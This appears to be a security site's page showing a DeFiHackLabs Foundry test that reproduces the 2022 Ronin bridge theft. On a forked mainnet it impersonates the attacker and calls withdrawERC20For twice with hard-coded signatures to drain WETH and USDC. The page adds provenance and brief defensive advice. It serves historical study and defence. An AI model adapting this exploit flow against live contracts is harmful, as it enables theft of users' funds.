Public reproduction file
src/test/2022-03/Ronin_exp.sol
Public reproduction file for the historical Ronin Network incident (2022-03-29). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!3pragma solidity >=0.7.0 <0.9.0;5import "forge-std/Test.sol";6import "./../interface.sol";8interface IRoninBridge {9 function withdrawERC20For(10 uint256 _withdrawalId,11 address _user,12 address _token,13 uint256 _amount,14 bytes memory _signatures15 ) external;16}18contract ContractTest is Test {19 address attacker = 0x098B716B8Aaf21512996dC57EB0615e2383E2f96;20 address roninBridge = 0x1A2a1c938CE3eC39b6D47113c7955bAa9DD454F2;21 address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;22 address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;23 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);25 function setUp() public {26 cheats.createSelectFork("mainnet", 14_442_834); //fork mainnet at 1444283427 }29 function testExploit() public {30 cheats.startPrank(attacker);32 IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c4233 _withdrawalId: 2_000_000,34 _user: attacker,35 _token: WETH,36 _amount: 173_600_000_000_000_000_000_000,37 _signatures: hex"01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c"38 });40 IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c4241 _withdrawalId: 2_000_001,42 _user: attacker,43 _token: USDC,44 _amount: 25_500_000_000_000,45 _signatures: hex"016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b"46 });48 // gasless transaction:49 // https://medium.com/coinmonks/how-to-implement-gas-less-transactions-on-ethereum-9f9273d2f059 }50 }51}Analysis
What this file is
A public Foundry test from the DeFiHackLabs dataset for the Ronin Network incident dated 2022-03-29. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.
How to read it
The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.
Fixes and defensive tests
- Review privileged entry points
- Limit what external coin can be pulled without intent checks
- Pause or migrate when a class of bug is public
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- Ronin Network
- Path
- src/test/2022-03/Ronin_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 964bc3f49f3b718865f59d025a5e37074da1740b
- Language
- Solidity
- Size
- 52 lines
- Date
- 2022-03-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/Ronin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 964bc3f49f3b718865f59d025a5e37074da1740b, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.